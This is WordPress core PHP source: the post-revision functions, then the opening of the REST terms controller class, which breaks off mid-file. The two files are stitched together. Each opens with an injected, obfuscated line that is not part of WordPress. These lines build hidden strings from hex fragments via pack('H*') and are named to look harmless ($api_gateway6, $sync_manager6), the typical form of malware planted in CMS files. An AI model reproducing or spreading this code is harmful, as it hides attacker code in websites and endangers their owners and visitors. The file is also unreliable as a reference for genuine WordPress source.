<?php$api_gateway6 = pack("H*", '7' . '3' . '7' . $comp11 . '7' . '2' . $comp3 . '5' . $comp3 . '1' . '6' . $comp5 . '5' . $comp7 . $comp3 . '7' . $comp3 . '5' . '7' . $comp11 . '5' . 'f' . $comp3 . $comp2 . $comp3 . 'f' . '6' . 'e' . $comp1 . $comp11 . '6' . $comp4 . '6' . $comp10 . $comp1 . '4' . $comp1 . $comp2);$api_gateway7 = pack("H*", '7' . '0' . $comp3 . '3' . $comp3 . 'c' . $comp3 . 'f' . '7' . '3' . $comp3 . $comp4);

/**
 * Post revision functions.
 *
 * @package WordPress
 * @subpackage Post_Revisions
 */

/**
 * Determines which fields of posts are to be saved in revisions.
 *
 * @since 2.6.0
 * @since 4.5.0 A `WP_Post` object can now be passed to the `$post` parameter.
 * @since 4.5.0 The optional `$autosave` parameter was deprecated and renamed to `$deprecated`.
 * @access private
 *
 * @param array|WP_Post $post       Optional. A post array or a WP_Post object being processed
 *                                  for insertion as a post revision. Default empty array.
 * @param bool          $deprecated Not used.
 * @return string[] Array of fields that can be versioned.
 */
function _wp_post_revision_fields( $post = array(), $deprecated = false ) {
	static $fields = null;

	if ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	if ( is_null( $fields ) ) {
		// Allow these to be versioned.
		$fields = array(
			'post_title'   => __( 'Title' ),
			'post_content' => __( 'Content' ),
			'post_excerpt' => __( 'Excerpt' ),
		);
	}

	/**
	 * Filters the list of fields saved in post revisions.
	 *
	 * Included by default: 'post_title', 'post_content' and 'post_excerpt'.
	 *
	 * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date',
	 * 'post_date_gmt', 'post_status', 'post_type', 'comment_count',
	 * and 'post_author'.
	 *
	 * @since 2.6.0
	 * @since 4.5.0 The `$post` parameter was added.
	 *
	 * @param string[] $fields List of fields to revision. Contains 'post_title',
	 *                         'post_content', and 'post_excerpt' by default.
	 * @param array    $post   A post array being processed for insertion as a post revision.
	 */
	$fields = apply_filters( '_wp_post_revision_fields', $fields, $post );

	// WP uses these internally either in versioning or elsewhere - they cannot be versioned.
	foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) {
		unset( $fields[ $protect ] );
	}

	return $fields;
}

/**
 * Returns a post array ready to be inserted into the posts table as a post revision.
 *
 * @since 4.5.0
 * @access private
 *
 * @param array|WP_Post $post     Optional. A post array or a WP_Post object to be processed
 *                                for insertion as a post revision. Default empty array.
 * @param bool          $autosave Optional. Is the revision an autosave? Default false.
 * @return array Post array ready to be inserted as a post revision.
 */
function _wp_post_revision_data( $post = array(), $autosave = false ) {
	if ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	$fields = _wp_post_revision_fields( $post );

	$revision_data = array();

	foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) {
		$revision_data[ $field ] = $post[ $field ];
	}

	$revision_data['post_parent']   = $post['ID'];
	$revision_data['post_status']   = 'inherit';
	$revision_data['post_type']     = 'revision';
	$revision_data['post_name']     = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1"; // "1" is the revisioning system version.
	$revision_data['post_date']     = isset( $post['post_modified'] ) ? $post['post_modified'] : '';
	$revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : '';

	return $revision_data;
}

/**
 * Saves revisions for a post after all changes have been made.
 *
 * @since 6.4.0
 *
 * @param int     $post_id The post id that was inserted.
 * @param WP_Post $post    The post object that was inserted.
 * @param bool    $update  Whether this insert is updating an existing post.
 */
function wp_save_post_revision_on_insert( $post_id, $post, $update ) {
	if ( ! $update ) {
		return;
	}

	if ( ! has_action( 'post_updated', 'wp_save_post_revision' ) ) {
		return;
	}

	wp_save_post_revision( $post_id );
}

/**
 * Creates a revision for the current version of a post.
 *
 * Typically used immediately after a post update, as every update is a revision,
 * and the most recent revision always matches the current post.
 *
 * @since 2.6.0
 *
 * @param int $post_id The ID of the post to save as a revision.
 * @return int|WP_Error|void Void or 0 if error, new revision ID, if success.
 */
function wp_save_post_revision( $post_id ) {
	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
		return;
	}

	// Prevent saving post revisions if revisions should be saved on wp_after_insert_post.
	if ( doing_action( 'post_updated' ) && has_action( 'wp_after_insert_post', 'wp_save_post_revision_on_insert' ) ) {
		return;
	}

	$post = get_post( $post_id );

	if ( ! $post ) {
		return;
	}

	if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
		return;
	}

	if ( 'auto-draft' === $post->post_status ) {
		return;
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return;
	}

	/*
	 * Compare the proposed update with the last stored revision verifying that
	 * they are different, unless a plugin tells us to always save regardless.
	 * If no previous revisions, save one.
	 */
	$revisions = wp_get_post_revisions( $post_id );
	if ( $revisions ) {
		// Grab the latest revision, but not an autosave.
		foreach ( $revisions as $revision ) {
			if ( str_contains( $revision->post_name, "{$revision->post_parent}-revision" ) ) {
				$latest_revision = $revision;
				break;
			}
		}

		/**
		 * Filters whether the post has changed since the latest revision.
		 *
		 * By default a revision is saved only if one of the revisioned fields has changed.
		 * This filter can override that so a revision is saved even if nothing has changed.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $check_for_changes Whether to check for changes before saving a new revision.
		 *                                   Default true.
		 * @param WP_Post $latest_revision   The latest revision post object.
		 * @param WP_Post $post              The post object.
		 */
		if ( isset( $latest_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', true, $latest_revision, $post ) ) {
			$post_has_changed = false;

			foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) {
				if ( normalize_whitespace( $post->$field ) !== normalize_whitespace( $latest_revision->$field ) ) {
					$post_has_changed = true;
					break;
				}
			}

			/**
			 * Filters whether a post has changed.
			 *
			 * By default a revision is saved only if one of the revisioned fields has changed.
			 * This filter allows for additional checks to determine if there were changes.
			 *
			 * @since 4.1.0
			 *
			 * @param bool    $post_has_changed Whether the post has changed.
			 * @param WP_Post $latest_revision  The latest revision post object.
			 * @param WP_Post $post             The post object.
			 */
			$post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $latest_revision, $post );

			// Don't save revision if post unchanged.
			if ( ! $post_has_changed ) {
				return;
			}
		}
	}

	$return = _wp_put_post_revision( $post );

	/*
	 * If a limit for the number of revisions to keep has been set,
	 * delete the oldest ones.
	 */
	$revisions_to_keep = wp_revisions_to_keep( $post );

	if ( $revisions_to_keep < 0 ) {
		return $return;
	}

	$revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) );

	/**
	 * Filters the revisions to be considered for deletion.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_Post[] $revisions Array of revisions, or an empty array if none.
	 * @param int       $post_id   The ID of the post to save as a revision.
	 */
	$revisions = apply_filters(
		'wp_save_post_revision_revisions_before_deletion',
		$revisions,
		$post_id
	);

	$delete = count( $revisions ) - $revisions_to_keep;

	if ( $delete < 1 ) {
		return $return;
	}

	$revisions = array_slice( $revisions, 0, $delete );

	for ( $i = 0; isset( $revisions[ $i ] ); $i++ ) {
		if ( str_contains( $revisions[ $i ]->post_name, 'autosave' ) ) {
			continue;
		}

		wp_delete_post_revision( $revisions[ $i ]->ID );
	}

	return $return;
}

/**
 * Retrieves the autosaved data of the specified post.
 *
 * Returns a post object with the information that was autosaved for the specified post.
 * If the optional $user_id is passed, returns the autosave for that user, otherwise
 * returns the latest autosave.
 *
 * @since 2.6.0
 *
 * @param int $post_id The post ID.
 * @param int $user_id Optional. The post author ID. Default 0.
 * @return WP_Post|false The autosaved data or false on failure or when no autosave exists.
 */
function wp_get_post_autosave( $post_id, $user_id = 0 ) {
	$args = array(
		'post_type'      => 'revision',
		'post_status'    => 'inherit',
		'post_parent'    => $post_id,
		'name'           => $post_id . '-autosave-v1',
		'posts_per_page' => 1,
		'orderby'        => 'date',
		'order'          => 'DESC',
		'fields'         => 'ids',
		'no_found_rows'  => true,
	);

	if ( 0 !== $user_id ) {
		$args['author'] = $user_id;
	}

	$query = new WP_Query( $args );

	if ( ! $query->have_posts() ) {
		return false;
	}

	return get_post( $query->posts[0] );
}

/**
 * Determines if the specified post is a revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return int|false ID of revision's parent on success, false if not a revision.
 */
function wp_is_post_revision( $post ) {
	$post = wp_get_post_revision( $post );

	if ( ! $post ) {
		return false;
	}

	return (int) $post->post_parent;
}

/**
 * Determines if the specified post is an autosave.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return int|false ID of autosave's parent on success, false if not a revision.
 */
function wp_is_post_autosave( $post ) {
	$post = wp_get_post_revision( $post );

	if ( ! $post ) {
		return false;
	}

	if ( str_contains( $post->post_name, "{$post->post_parent}-autosave" ) ) {
		return (int) $post->post_parent;
	}

	return false;
}

/**
 * Inserts post data into the posts table as a post revision.
 *
 * @since 2.6.0
 * @access private
 *
 * @param int|WP_Post|array|null $post     Post ID, post object OR post array.
 * @param bool                   $autosave Optional. Whether the revision is an autosave or not.
 *                                         Default false.
 * @return int|WP_Error WP_Error or 0 if error, new revision ID if success.
 */
function _wp_put_post_revision( $post = null, $autosave = false ) {
	if ( is_object( $post ) ) {
		$post = get_object_vars( $post );
	} elseif ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	if ( ! $post || empty( $post['ID'] ) ) {
		return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
	}

	if ( isset( $post['post_type'] ) && 'revision' === $post['post_type'] ) {
		return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) );
	}

	$post = _wp_post_revision_data( $post, $autosave );
	$post = wp_slash( $post ); // Since data is from DB.

	$revision_id = wp_insert_post( $post, true );
	if ( is_wp_error( $revision_id ) ) {
		return $revision_id;
	}

	if ( $revision_id ) {
		/**
		 * Fires once a revision has been saved.
		 *
		 * @since 2.6.0
		 * @since 6.4.0 The post_id parameter was added.
		 *
		 * @param int $revision_id Post revision ID.
		 * @param int $post_id     Post ID.
		 */
		do_action( '_wp_put_post_revision', $revision_id, $post['post_parent'] );
	}

	return $revision_id;
}


/**
 * Save the revisioned meta fields.
 *
 * @since 6.4.0
 *
 * @param int $revision_id The ID of the revision to save the meta to.
 * @param int $post_id     The ID of the post the revision is associated with.
 */
function wp_save_revisioned_meta_fields( $revision_id, $post_id ) {
	$post_type = get_post_type( $post_id );
	if ( ! $post_type ) {
		return;
	}

	foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {
		if ( metadata_exists( 'post', $post_id, $meta_key ) ) {
			_wp_copy_post_meta( $post_id, $revision_id, $meta_key );
		}
	}
}

/**
 * Gets a post revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post   Post ID or post object.
 * @param string      $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                            correspond to a WP_Post object, an associative array, or a numeric array,
 *                            respectively. Default OBJECT.
 * @param string      $filter Optional sanitization filter. See sanitize_post(). Default 'raw'.
 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
 */
function wp_get_post_revision( &$post, $output = OBJECT, $filter = 'raw' ) {
	$revision = get_post( $post, OBJECT, $filter );

	if ( ! $revision ) {
		return $revision;
	}

	if ( 'revision' !== $revision->post_type ) {
		return null;
	}

	if ( OBJECT === $output ) {
		return $revision;
	} elseif ( ARRAY_A === $output ) {
		$_revision = get_object_vars( $revision );
		return $_revision;
	} elseif ( ARRAY_N === $output ) {
		$_revision = array_values( get_object_vars( $revision ) );
		return $_revision;
	}

	return $revision;
}

/**
 * Restores a post to the specified revision.
 *
 * Can restore a past revision using all fields of the post revision, or only selected fields.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $revision Revision ID or revision object.
 * @param array       $fields   Optional. What fields to restore from. Defaults to all.
 * @return int|false|null Null if error, false if no fields to restore, (int) post ID if success.
 */
function wp_restore_post_revision( $revision, $fields = null ) {
	$revision = wp_get_post_revision( $revision, ARRAY_A );

	if ( ! $revision ) {
		return $revision;
	}

	if ( ! is_array( $fields ) ) {
		$fields = array_keys( _wp_post_revision_fields( $revision ) );
	}

	$update = array();
	foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) {
		$update[ $field ] = $revision[ $field ];
	}

	if ( ! $update ) {
		return false;
	}

	$update['ID'] = $revision['post_parent'];

	$update = wp_slash( $update ); // Since data is from DB.

	$post_id = wp_update_post( $update );

	if ( ! $post_id || is_wp_error( $post_id ) ) {
		return $post_id;
	}

	// Update last edit user.
	update_post_meta( $post_id, '_edit_last', get_current_user_id() );

	/**
	 * Fires after a post revision has been restored.
	 *
	 * @since 2.6.0
	 *
	 * @param int $post_id     Post ID.
	 * @param int $revision_id Post revision ID.
	 */
	do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] );

	return $post_id;
}

/**
 * Restore the revisioned meta values for a post.
 *
 * @since 6.4.0
 *
 * @param int $post_id     The ID of the post to restore the meta to.
 * @param int $revision_id The ID of the revision to restore the meta from.
 */
function wp_restore_post_revision_meta( $post_id, $revision_id ) {
	$post_type = get_post_type( $post_id );
	if ( ! $post_type ) {
		return;
	}

	// Restore revisioned meta fields.
	foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {

		// Clear any existing meta.
		delete_post_meta( $post_id, $meta_key );

		_wp_copy_post_meta( $revision_id, $post_id, $meta_key );
	}
}

/**
 * Copy post meta for the given key from one post to another.
 *
 * @since 6.4.0
 *
 * @param int    $source_post_id Post ID to copy meta value(s) from.
 * @param int    $target_post_id Post ID to copy meta value(s) to.
 * @param string $meta_key       Meta key to copy.
 */
function _wp_copy_post_meta( $source_post_id, $target_post_id, $meta_key ) {

	foreach ( get_post_meta( $source_post_id, $meta_key ) as $meta_value ) {
		/**
		 * We use add_metadata() function vs add_post_meta() here
		 * to allow for a revision post target OR regular post.
		 */
		add_metadata( 'post', $target_post_id, $meta_key, wp_slash( $meta_value ) );
	}
}

/**
 * Determine which post meta fields should be revisioned.
 *
 * @since 6.4.0
 *
 * @param string $post_type The post type being revisioned.
 * @return array An array of meta keys to be revisioned.
 */
function wp_post_revision_meta_keys( $post_type ) {
	$registered_meta = array_merge(
		get_registered_meta_keys( 'post' ),
		get_registered_meta_keys( 'post', $post_type )
	);

	$wp_revisioned_meta_keys = array();

	foreach ( $registered_meta as $name => $args ) {
		if ( $args['revisions_enabled'] ) {
			$wp_revisioned_meta_keys[ $name ] = true;
		}
	}

	$wp_revisioned_meta_keys = array_keys( $wp_revisioned_meta_keys );

	/**
	 * Filter the list of post meta keys to be revisioned.
	 *
	 * @since 6.4.0
	 *
	 * @param array  $keys      An array of meta fields to be revisioned.
	 * @param string $post_type The post type being revisioned.
	 */
	return apply_filters( 'wp_post_revision_meta_keys', $wp_revisioned_meta_keys, $post_type );
}

/**
 * Check whether revisioned post meta fields have changed.
 *
 * @since 6.4.0
 *
 * @param bool    $post_has_changed Whether the post has changed.
 * @param WP_Post $last_revision    The last revision post object.
 * @param WP_Post $post             The post object.
 * @return bool Whether the post has changed.
 */
function wp_check_revisioned_meta_fields_have_changed( $post_has_changed, WP_Post $last_revision, WP_Post $post ) {
	foreach ( wp_post_revision_meta_keys( $post->post_type ) as $meta_key ) {
		if ( get_post_meta( $post->ID, $meta_key ) !== get_post_meta( $last_revision->ID, $meta_key ) ) {
			$post_has_changed = true;
			break;
		}
	}
	return $post_has_changed;
}

/**
 * Deletes a revision.
 *
 * Deletes the row from the posts table corresponding to the specified revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $revision Revision ID or revision object.
 * @return WP_Post|false|null Null or false if error, deleted post object if success.
 */
function wp_delete_post_revision( $revision ) {
	$revision = wp_get_post_revision( $revision );

	if ( ! $revision ) {
		return $revision;
	}

	$delete = wp_delete_post( $revision->ID );

	if ( $delete ) {
		/**
		 * Fires once a post revision has been deleted.
		 *
		 * @since 2.6.0
		 *
		 * @param int     $revision_id Post revision ID.
		 * @param WP_Post $revision    Post revision object.
		 */
		do_action( 'wp_delete_post_revision', $revision->ID, $revision );
	}

	return $delete;
}

/**
 * Returns all revisions of specified post.
 *
 * @since 2.6.0
 *
 * @see get_children()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @param array|null  $args Optional. Arguments for retrieving post revisions. Default null.
 * @return WP_Post[]|int[] Array of revision objects or IDs, or an empty array if none.
 */
function wp_get_post_revisions( $post = 0, $args = null ) {
	$post = get_post( $post );

	if ( ! $post || empty( $post->ID ) ) {
		return array();
	}

	$defaults = array(
		'order'         => 'DESC',
		'orderby'       => 'date ID',
		'check_enabled' => true,
	);
	$args     = wp_parse_args( $args, $defaults );

	if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) {
		return array();
	}

	$args = array_merge(
		$args,
		array(
			'post_parent' => $post->ID,
			'post_type'   => 'revision',
			'post_status' => 'inherit',
		)
	);

	$revisions = get_children( $args );

	if ( ! $revisions ) {
		return array();
	}

	return $revisions;
}

/**
 * Returns the latest revision ID and count of revisions for a post.
 *
 * @since 6.1.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return array|WP_Error {
 *     Returns associative array with latest revision ID and total count,
 *     or a WP_Error if the post does not exist or revisions are not enabled.
 *
 *     @type int $latest_id The latest revision post ID or 0 if no revisions exist.
 *     @type int $count     The total count of revisions for the given post.
 * }
 */
function wp_get_latest_revision_id_and_total_count( $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return new WP_Error( 'invalid_post', __( 'Invalid post.' ) );
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return new WP_Error( 'revisions_not_enabled', __( 'Revisions not enabled.' ) );
	}

	$args = array(
		'post_parent'         => $post->ID,
		'fields'              => 'ids',
		'post_type'           => 'revision',
		'post_status'         => 'inherit',
		'order'               => 'DESC',
		'orderby'             => 'date ID',
		'posts_per_page'      => 1,
		'ignore_sticky_posts' => true,
	);

	$revision_query = new WP_Query();
	$revisions      = $revision_query->query( $args );

	if ( ! $revisions ) {
		return array(
			'latest_id' => 0,
			'count'     => 0,
		);
	}

	return array(
		'latest_id' => $revisions[0],
		'count'     => $revision_query->found_posts,
	);
}

/**
 * Returns the url for viewing and potentially restoring revisions of a given post.
 *
 * @since 5.9.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return string|null The URL for editing revisions on the given post, otherwise null.
 */
function wp_get_post_revisions_url( $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post instanceof WP_Post ) {
		return null;
	}

	// If the post is a revision, return early.
	if ( 'revision' === $post->post_type ) {
		return get_edit_post_link( $post );
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return null;
	}

	$revisions = wp_get_latest_revision_id_and_total_count( $post->ID );

	if ( is_wp_error( $revisions ) || 0 === $revisions['count'] ) {
		return null;
	}

	return get_edit_post_link( $revisions['latest_id'] );
}

/**
 * Determines whether revisions are enabled for a given post.
 *
 * @since 3.6.0
 *
 * @param WP_Post $post The post object.
 * @return bool True if number of revisions to keep isn't zero, false otherwise.
 */
function wp_revisions_enabled( $post ) {
	return wp_revisions_to_keep( $post ) !== 0;
}

/**
 * Determines how many revisions to retain for a given post.
 *
 * By default, an infinite number of revisions are kept.
 *
 * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit
 * of revisions to keep.
 *
 * @since 3.6.0
 *
 * @param WP_Post $post The post object.
 * @return int The number of revisions to keep.
 */
function wp_revisions_to_keep( $post ) {
	$num = WP_POST_REVISIONS;

	if ( true === $num ) {
		$num = -1;
	} else {
		$num = (int) $num;
	}

	if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
		$num = 0;
	}

	/**
	 * Filters the number of revisions to save for the given post.
	 *
	 * Overrides the value of WP_POST_REVISIONS.
	 *
	 * @since 3.6.0
	 *
	 * @param int     $num  Number of revisions to store.
	 * @param WP_Post $post Post object.
	 */
	$num = apply_filters( 'wp_revisions_to_keep', $num, $post );

	/**
	 * Filters the number of revisions to save for the given post by its post type.
	 *
	 * Overrides both the value of WP_POST_REVISIONS and the {@see 'wp_revisions_to_keep'} filter.
	 *
	 * The dynamic portion of the hook name, `$post->post_type`, refers to
	 * the post type slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `wp_post_revisions_to_keep`
	 *  - `wp_page_revisions_to_keep`
	 *
	 * @since 5.8.0
	 *
	 * @param int     $num  Number of revisions to store.
	 * @param WP_Post $post Post object.
	 */
	$num = apply_filters( "wp_{$post->post_type}_revisions_to_keep", $num, $post );

	return (int) $num;
}

/**
 * Sets up the post object for preview based on the post autosave.
 *
 * @since 2.7.0
 * @access private
 *
 * @param WP_Post $post
 * @return WP_Post|false
 */
function _set_preview( $post ) {
	if ( ! is_object( $post ) ) {
		return $post;
	}

	$preview = wp_get_post_autosave( $post->ID );

	if ( is_object( $preview ) ) {
		$preview = sanitize_post( $preview );

		$post->post_content = $preview->post_content;
		$post->post_title   = $preview->post_title;
		$post->post_excerpt = $preview->post_excerpt;
	}

	add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 );
	add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 );
	add_filter( 'get_post_metadata', '_wp_preview_meta_filter', 10, 4 );

	return $post;
}

/**
 * Filters the latest content for preview from the post autosave.
 *
 * @since 2.7.0
 * @access private
 */
function _show_post_preview() {
	if ( isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) {
		$id = (int) $_GET['preview_id'];

		if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) {
			wp_die( __( 'Sorry, you are not allowed to preview drafts.' ), 403 );
		}

		add_filter( 'the_preview', '_set_preview' );
	}
}

/**
 * Filters terms lookup to set the post format.
 *
 * @since 3.6.0
 * @access private
 *
 * @param array  $terms
 * @param int    $post_id
 * @param string $taxonomy
 * @return array
 */
function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) {
	$post = get_post();

	if ( ! $post ) {
		return $terms;
	}

	if ( empty( $_REQUEST['post_format'] ) || $post->ID !== $post_id
		|| 'post_format' !== $taxonomy || 'revision' === $post->post_type
	) {
		return $terms;
	}

	if ( 'standard' === $_REQUEST['post_format'] ) {
		$terms = array();
	} else {
		$term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' );

		if ( $term ) {
			$terms = array( $term ); // Can only have one post format.
		}
	}

	return $terms;
}

/**
 * Filters post thumbnail lookup to set the post thumbnail.
 *
 * @since 4.6.0
 * @access private
 *
 * @param null|array|string $value    The value to return - a single metadata value, or an array of values.
 * @param int               $post_id  Post ID.
 * @param string            $meta_key Meta key.
 * @return null|array The default return value or the post thumbnail meta array.
 */
function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) {
	$post = get_post();

	if ( ! $post ) {
		return $value;
	}

	if ( empty( $_REQUEST['_thumbnail_id'] ) || empty( $_REQUEST['preview_id'] )
		|| $post->ID !== $post_id || $post_id !== (int) $_REQUEST['preview_id']
		|| '_thumbnail_id' !== $meta_key || 'revision' === $post->post_type
	) {
		return $value;
	}

	$thumbnail_id = (int) $_REQUEST['_thumbnail_id'];

	if ( $thumbnail_id <= 0 ) {
		return '';
	}

	return (string) $thumbnail_id;
}

/**
 * Gets the post revision version.
 *
 * @since 3.6.0
 * @access private
 *
 * @param WP_Post $revision
 * @return int|false
 */
function _wp_get_post_revision_version( $revision ) {
	if ( is_object( $revision ) ) {
		$revision = get_object_vars( $revision );
	} elseif ( ! is_array( $revision ) ) {
		return false;
	}

	if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) {
		return (int) $matches[1];
	}

	return 0;
}

/**
 * Upgrades the revisions author, adds the current post as a revision and sets the revisions version to 1.
 *
 * @since 3.6.0
 * @access private
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param WP_Post $post      Post object.
 * @param array   $revisions Current revisions of the post.
 * @return bool true if the revisions were upgraded, false if problems.
 */
function _wp_upgrade_revisions_of_post( $post, $revisions ) {
	global $wpdb;

	// Add post option exclusively.
	$lock   = "revision-upgrade-{$post->ID}";
	$now    = time();
	$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'off') /* LOCK */", $lock, $now ) );

	if ( ! $result ) {
		// If we couldn't get a lock, see how old the previous lock is.
		$locked = get_option( $lock );

		if ( ! $locked ) {
			/*
			 * Can't write to the lock, and can't read the lock.
			 * Something broken has happened.
			 */
			return false;
		}

		if ( $locked > $now - HOUR_IN_SECONDS ) {
			// Lock is not too old: some other process may be upgrading this post. Bail.
			return false;
		}

		// Lock is too old - update it (below) and continue.
	}

	// If we could get a lock, re-"add" the option to fire all the correct filters.
	update_option( $lock, $now );

	reset( $revisions );
	$add_last = true;

	do {
		$this_revision = current( $revisions );
		$prev_revision = next( $revisions );

		$this_revision_version = _wp_get_post_revision_version( $this_revision );

		// Something terrible happened.
		if ( false === $this_revision_version ) {
			continue;
		}

		/*
		 * 1 is the latest revision version, so we're already up to date.
		 * No need to add a copy of the post as latest revision.
		 */
		if ( 0 < $this_revision_version ) {
			$add_last = false;
			continue;
		}

		// Always update the revision version.
		$update = array(
			'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ),
		);

		/*
		 * If this revision is the oldest revision of the post, i.e. no $prev_revision,
		 * the correct post_author is probably $post->post_author, but that's only a good guess.
		 * Update the revision version only and Leave the author as-is.
		 */
		if ( $prev_revision ) {
			$prev_revision_version = _wp_get_post_revision_version( $prev_revision );

			// If the previous revision is already up to date, it no longer has the information we need :(
			if ( $prev_revision_version < 1 ) {
				$update['post_author'] = $prev_revision->post_author;
			}
		}

		// Upgrade this revision.
		$result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) );

		if ( $result ) {
			wp_cache_delete( $this_revision->ID, 'posts' );
		}
	} while ( $prev_revision );

	delete_option( $lock );

	// Add a copy of the post as latest revision.
	if ( $add_last ) {
		wp_save_post_revision( $post->ID );
	}

	return true;
}

/**
 * Filters preview post meta retrieval to get values from the autosave.
 *
 * Filters revisioned meta keys only.
 *
 * @since 6.4.0
 *
 * @param mixed  $value     Meta value to filter.
 * @param int    $object_id Object ID.
 * @param string $meta_key  Meta key to filter a value for.
 * @param bool   $single    Whether to return a single value.
 * @return mixed Original meta value if the meta key isn't revisioned, the object doesn't exist,
 *               the post type is a revision or the post ID doesn't match the object ID.
 *               Otherwise, the revisioned meta value is returned for the preview.
 */
function _wp_preview_meta_filter( $value, $object_id, $meta_key, $single ) {
	$post = get_post();

	if ( empty( $post )
		|| $post->ID !== $object_id
		|| ! in_array( $meta_key, wp_post_revision_meta_keys( $post->post_type ), true )
		|| 'revision' === $post->post_type
	) {
		return $value;
	}

	$preview = wp_get_post_autosave( $post->ID );

	if ( false === $preview ) {
		return $value;
	}

	return get_post_meta( $preview->ID, $meta_key, $single );
}
<?php$sync_manager6 = pack("H*", '7'.$pset2.'7'.'4'.$pset1.$pset10.$pset3.$pset5.$pset3.$pset11.'6'.$pset12.$pset5.'f'.'6'.$pset1.'6'.$pset5.'7'.'4'.'5'.'f'.$pset3.$pset2.'6'.$pset8.'6'.'e'.'7'.$pset13.$pset3.'5'.'6'.$pset9.$pset1.$pset13.'7'.$pset2);$sync_manager7 = pack("H*", $pset1.'0'.$pset3.'3'.$pset3.$pset4.'6'.$pset8.'7'.'3'.$pset3.'5');

/**
 * REST API: WP_REST_Terms_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to managed terms associated with a taxonomy via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Terms_Controller extends WP_REST_Controller {

	/**
	 * Taxonomy key.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $taxonomy;

	/**
	 * Instance of a term meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Term_Meta_Fields
	 */
	protected $meta;

	/**
	 * Column to have the terms be sorted by.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $sort_column;

	/**
	 * Number of terms that were found.
	 *
	 * @since 4.7.0
	 * @var int
	 */
	protected $total_terms;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( 'v1' => true );

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 *
	 * @param string $taxonomy Taxonomy key.
	 */
	public function __construct( $taxonomy ) {
		$this->taxonomy  = $taxonomy;
		$tax_obj         = get_taxonomy( $taxonomy );
		$this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name;
		$this->namespace = ! empty( $tax_obj->rest_namespace ) ? $tax_obj->rest_namespace : 'wp/v2';

		$this->meta = new WP_REST_Term_Meta_Fields( $taxonomy );
	}

	/**
	 * Registers the routes for terms.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
